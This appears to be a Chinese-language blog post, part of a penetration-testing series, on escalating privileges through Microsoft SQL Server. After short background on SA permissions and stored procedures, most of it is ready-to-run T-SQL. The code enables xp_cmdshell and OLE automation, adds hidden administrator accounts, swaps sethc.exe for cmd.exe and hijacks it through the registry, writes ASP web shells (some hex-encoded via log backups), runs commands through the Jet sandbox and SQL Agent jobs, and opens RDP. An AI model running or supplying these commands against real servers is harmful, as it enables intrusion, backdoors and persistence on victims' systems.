滲透測試-29:MsSQL
阿新 • • 發佈:2022-05-19
基礎知識
-
埠號
:1433 -
SA使用者
:SA(System Administrator)表示系統管理員,在 SQLServer2019 之前的 SA使用者 都是系統最高許可權使用者 SYSTEM,但在2019版本時為普通資料庫使用者 mssqlserver,是一個低權使用者。 -
許可權級別:
-
sa許可權
:資料庫操作,檔案管理,命令執行,登錄檔讀取等價於 system(SQLServer 資料庫的最高許可權) -
db許可權
:檔案管理,資料庫操作等價於 users-administrators -
public許可權
:資料庫操作等價於 guest-users
-
-
儲存過程:
-
MSSQL 儲存過程是一個可程式設計的函式,它在資料庫中建立並儲存,是使用 T_SQL 編寫的程式碼段,目的在於能夠方便的從系統表中查詢資訊。
-
資料庫中的儲存過程可以看做是對程式設計中面向物件方法的模擬。
-
它允許控制資料的訪問方式,使用
execute
命令執行儲存過程,可以將儲存過程理解為函式呼叫的過程。 -
簡單來說,儲存過程就是一條或者多條 sql 語句的集合,可視為批處理檔案
-
儲存過程可分為三類:
-
系統儲存過程
:主要儲存在 master 資料庫中,以sp_
為字首,在任何資料庫中都可以呼叫,在呼叫的時候不必在儲存過程前加上資料庫名 -
擴充套件儲存過程
:是對動態連結庫(DLL)函式的呼叫,主要是用於客戶端與伺服器端或客戶端之間進行通訊的,以xp_
為字首,使用方法與系統儲存過程類似 -
使用者定義的儲存過程
:是 SQLServer 的使用者編寫的儲存過程
-
-
常見的儲存過程:
xp_cmdshell # 執行系統命令 xp_fileexist # 確定一個檔案是否存在 xp_getfiledetails # 獲得檔案詳細資料 xp_dirtree # 展開你需要了解的目錄,獲得所有目錄深度 Xp_getnetname # 獲得伺服器名稱 # 登錄檔訪問的儲存過程 Xp_regwrite Xp_regread Xp_regdeletekey Xp_regaddmultistring Xp_regdeletevalue Xp_regenumvalues Xp_regremovemultistring # OLE自動儲存過程 Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty Sp_OAMethod Sp_OASetProperty Sp_OAStop
-
-
系統資料庫:
-
master
:master 資料庫控制 SQLserver 資料庫所有方面。這個資料庫中包括了所有的配置資訊、使用者登入資訊、當前正在伺服器中執行的過程的資訊等。 -
model
:model 資料庫是建立所有使用者資料庫時的模版。新建資料庫時,SQLserver 會把 model 資料庫中的所有物件建立一份拷貝並移到新資料庫中。在模版物件被拷貝到新的使用者資料庫中之後,該資料庫的所有多餘空間都將被空頁填滿。 -
msdb
:msdb 資料庫是 SQLserver 資料庫中的特例,若想檢視此資料庫的實際定義,會發現它其實是一個使用者資料庫。所有的任務排程、報警、操作員都儲存在 msdb 資料庫中。該庫的另一個功能是用來儲存所有備份歷史。SQLserver agent 將會使用這個庫。 -
tempdb
:據庫是一個非常特殊的資料庫,供所有來訪問你的 SQL Server 的使用者使用。這個庫用來儲存所有的臨時表、儲存過程和其他 SQL Server 建立的臨時用的東西。例如,排序時要用到 tempdb 資料庫。資料被放進 tempdb 資料庫,排完序後再把結果返回給使用者。每次 SQL Server 重新啟動,它都會清空 tempdb 資料庫並重建。永遠不要在 tempdb 資料庫建立需要永久儲存的表。
-
-
下載地址:
-
SQL Server 2019
:https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads -
SQL Server 2008
:https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
-
-
常用語句:
-- 檢視資料庫版本 select @@VERSION -- 獲取所有資料庫名 SELECT name FROM MASter..SysDatabASes ORDER BY name -- 查詢所有資料庫中的表名 SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200 -- 列出所有c:\檔案、目錄、子目錄 exec xp_dirtree 'c:' -- 列出c:\目錄 exec xp_dirtree 'c:',1 -- 列出c:\目錄、檔案 exec xp_dirtree 'c:',1,1 -- 列出c:\目錄 exec xp_subdirs 'C:'; -- 判斷是否是SA許可權 select is_srvrolemember('sysadmin') -- 判斷是否是db_owner許可權 select is_member('db_owner') -- 判斷是否是public許可權 select is_srvrolemember('public') -- 檢視OLE Automation Procedures的當前設定 EXEC sp_configure 'Ole Automation Procedures'
-
SQL Server 沙盒
- 沙盒模式是一種安全功能,用於限制資料庫只對控制元件和欄位屬性中的安全且不含惡意程式碼的表示式求值。
- 如果表示式不使用可能以某種方式損壞資料的函式或屬性(如 Kill 和 Shell 之類的函式),則可認為它是安全的。
- 當資料庫以沙盒模式執行時,呼叫這些函式的表示式將會產生錯誤訊息。
- 沙盒提權的原理就是
jet.oledb
(修改登錄檔)執行系統命令。 - 資料庫通過查詢方式呼叫
mdb
檔案,執行引數,繞過系統本身自己的執行命令,實現mdb
檔案執行命令。
MsSQL提權
xp_cmdshell提權
-- xp_cmdshell 提權
-- xp_cmdshell 是 SqlServer 中的一個元件,在拿到 sa 口令之後,可以用來執行系統命令
-- 檢視 xp_cmdshell 元件是否啟用
select COUNT(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';
-- 開啟允許編輯高階選項
exec sp_configure 'show advanced options',1;
reconfigure;
-- 開啟 xp_cmdshell
exec sp_configure 'xp_cmdshell',1;
reconfigure;
-- 執行命令
exec xp_cmdshell 'whoami';
master..xp_cmdshell 'whoami';
master.dbo.xp_cmdshell 'ipconfig';
-- 關閉 xp_cmdshell
exec sp_configure 'xp_cmdshell',0;
reconfigure;
-- 關閉允許編輯高階選項
exec sp_configure 'show advanced options',0;
reconfigure;
-- 刪除 xp_cmdshell 儲存過程,若想徹底刪除 xp_cmdshell 擴充套件儲存過程,建議在 C盤 裡直接搜尋 xplog70.dll,然後刪除 xp_cmdshell
exec sp_dropextendedproc 'xp_cmdshell'
-- 被刪除後,重新新增 xp_cmdshell 儲存過程
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
sp_oacreate提權
-- sp_oacreate 提權
-- 如果xp_cmdshell擴充套件儲存過程被刪除或者無法使用,可以使用 sp_oacreate 和 sp_oamethod 呼叫系統 wscript.shell 來執行系統命令。
-- sp_oacreate系統儲存過程可以用於對檔案刪除、複製、移動等操作,還可以配合sp_oamethod系統儲存過程呼叫系統 wscript.shell 來執行系統命令。
-- sp_oacreate 和 sp_oamethod 兩個過程分別用來建立和執行指令碼語言。
-- 利用條件
/*
已獲取到 sqlserver sysadmin 許可權使用者的賬號與密碼且未降權(如 2019版本 sa使用者 許可權為 mssqlserver,已降權)
sqlserver 允許遠端連線
OLE Automation Procedures 選項開啟
*/
-- 檢視 sp_oacreate 狀態,返回1表示存在sp_oacreate系統儲存過程
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
-- 開啟 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
exec sp_configure 'show advanced options',0;
reconfigure;
-- 關閉 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure with override;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure with override;
exec sp_configure 'show advanced options',0;
reconfigure with override;
-- 呼叫 wscript.shell 執行命令
-- 建立檔案,回顯0表示成功
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > C:\phpstudy\www\test1.txt';
-- 刪除檔案
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'C:\phpstudy\www\test1.txt'
exec sp_oadestroy @fso_token
-- 複製檔案
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'C:\phpstudy\www\test.txt','C:\phpstudy\www\test1.txt'
-- 建立使用者
declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Toki 123456 /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Toki /add';
-- 替換 sethc 鍵
declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';
declare @oo int;
exec sp_oacreate 'scripting.filesystemobject', @oo out;
exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\dllcache\sethc.exe';
-- 啟動項中寫入新增賬戶指令碼
declare @sp_passwordxieo int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out
exec sp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork.ComputerName'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob.Create("user","123$")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/123$",user)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';
-- COM元件的利用(cmd.exe 可以自行上傳)
declare @luan int,@exec int,@text int,@str varchar(8000);
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@luan output;
exec sp_oamethod @luan,'exec',@exec output,'C:\\phpstudy\\www\\test.com\\cmd.exe /c whoami';
exec sp_oamethod @exec, 'StdOut', @text out;
exec sp_oamethod @text, 'readall', @str out
select @str;
-- 四種檔案寫入的方法
-- 利用條件
/*
物理路徑已知
擁有sa許可權
*/
-- 第一種儲存過程寫檔案
declare @o int, @f int, @t int, @ret int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'createtextfile', @f out, 'c:\\phpstudy\\www\\shell.asp', 1;
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("a"))%>';
-- 第二種儲存過程寫檔案,select '<%Execute(request("a"))%>' C:\zwell.asp
declare @s nvarchar(4000);select @s=0x730065006c00650063007400200027003c00250045007800650063007500740065002800720065007100750065007300740028002200610022002900290025003e000d000a002700;exec sp_makewebtask 0x43003a005c007a00770065006c006c002e00610073007000, @s;
-- 第三種log備份,<%execute(request("a"))%>
alter database <庫名> set RECOVERY FULL;
create table cmd (a image);
backup log <庫名> to disk = 'c:\\' with init;
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E);
backup log <庫名> to disk = 'c:\shell.asp';
-- 第四種差異備份,<%execute(request("a"))%>
backup database <庫名> to disk = 'c:\bak.bak';
create table [dbo].[test] ([cmd] [image]);
insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database <庫名> to disk='c:\shell.asp' WITH DIFFERENTIAL,FORMAT;
映象劫持提權
-- 通過使用 xp_regwrite 儲存過程對登錄檔進行修改,替換成任意值,造成映象劫持。
-- 利用條件
/*
1.未禁止登錄檔編輯(即寫入功能)
2.xp_regwrite啟用
*/
-- 檢視xp_regwrite是否啟用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
-- 開啟xp_regwrite
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE
-- 關閉xp_regwrite
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',0
RECONFIGURE
-- 修改登錄檔,利用 regwrite 函式修改登錄檔進行劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'
-- 檢視是否修改成功檔案
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
-- 進入登錄檔檢視是否修改成功,驗證遠端連線桌面,連續按5次 shift 就可以呼叫cmd視窗
-- 粘滯鍵同理
-- 刪除粘滯鍵的鍵值
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
-- 開啟3389埠
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"
沙盒提權
-- 利用條件
/*
需要 Microsoft.Jet.OLEDB.4.0 一般在 32位 系統才可以,64位 機需要 12.0,較複雜
dnary.mdb 和 ias.mdb 兩個檔案,在 win2003 上預設存在,也可自行準備
*/
-- 測試 jet.oledb 能否使用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")')
-- 開啟Ad Hoc Distributed Queries 元件
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;
-- 關閉Ad Hoc Distributed Queries 元件
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',0;
reconfigure;
-- 沙盒模式引數含義
/*
沙盒模式 SandBoxMode 引數含義(預設是2)
0:在任何所有者中禁止啟用安全模式
1:為僅在允許範圍內
2:必須在 access 模式下
3:完全開啟
*/
-- 關閉沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;
-- 檢視沙盒模式(以下方法需要在32位系統執行)
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
-- 提權建立賬戶
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user Toki 123456 /add")');
-- 報錯:'c:\windows\system32\ias\ias.mdb',解決方法:https://documentation.help/InfoSec-cn/69cc2e9c-95e8-4c82-a787-440190c28fbc.htm,複製準備好dnary.mdb和ias.mdb兩個檔案,然後放入本地在執行後成功建立
-- Windows 2003 + SQL Server2000 沙盒模式執行命令的語句:(Windows 2003 系統c:\windows\system32\ias\目錄下預設自帶了2個Access資料庫檔案ias.mdb/dnary.mdb,所以直接呼叫即可.)
select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user > c:\test.txt ")');
-- Windows 2008 R2+SQL Server2005 沙盒模式執行命令的語句:(Windows 2008 R2 預設無 Access 資料庫檔案,需要自己上傳,或者用 UNC 路徑載入檔案方能執行命令)
select * from openrowset('microsoft.jet.oledb.4.0',';database=\\192.168.1.8\file\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user > c:\test.txt ")');
-- 新增到管理員組,如果遇到問題參考這裡的解析:http://blog.chinaunix.net/uid-28966230-id-4291781.html
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators Toki /add")');
-- 查詢情況
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("c:\windows\system32\cmd.exe /c net user > c:\\2.txt")');
-- 呼叫dnary.mdb
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("c:\windows\system32\cmd.exe /c net user >c:\\3.txt ")')
-- 恢復配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
JOB提權
-- JOB提權原理是建立一個任務 x,並執行命令,命令執行後的結果,將返回給文件 xxx.txt
-- 啟動 sqlagent 服務
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
-- 建立任務
use msdb
exec sp_delete_job null,'x'
exec sp_add_job 'x'
exec sp_add_jobstep null,'x',null,'1','cmdexec','cmd /c "net user Toki 123456 /add & net localgroup administrators Toki /add > c:/result.txt"'
exec sp_add_jobserver null,'x',@@servername
exec sp_start_job 'x';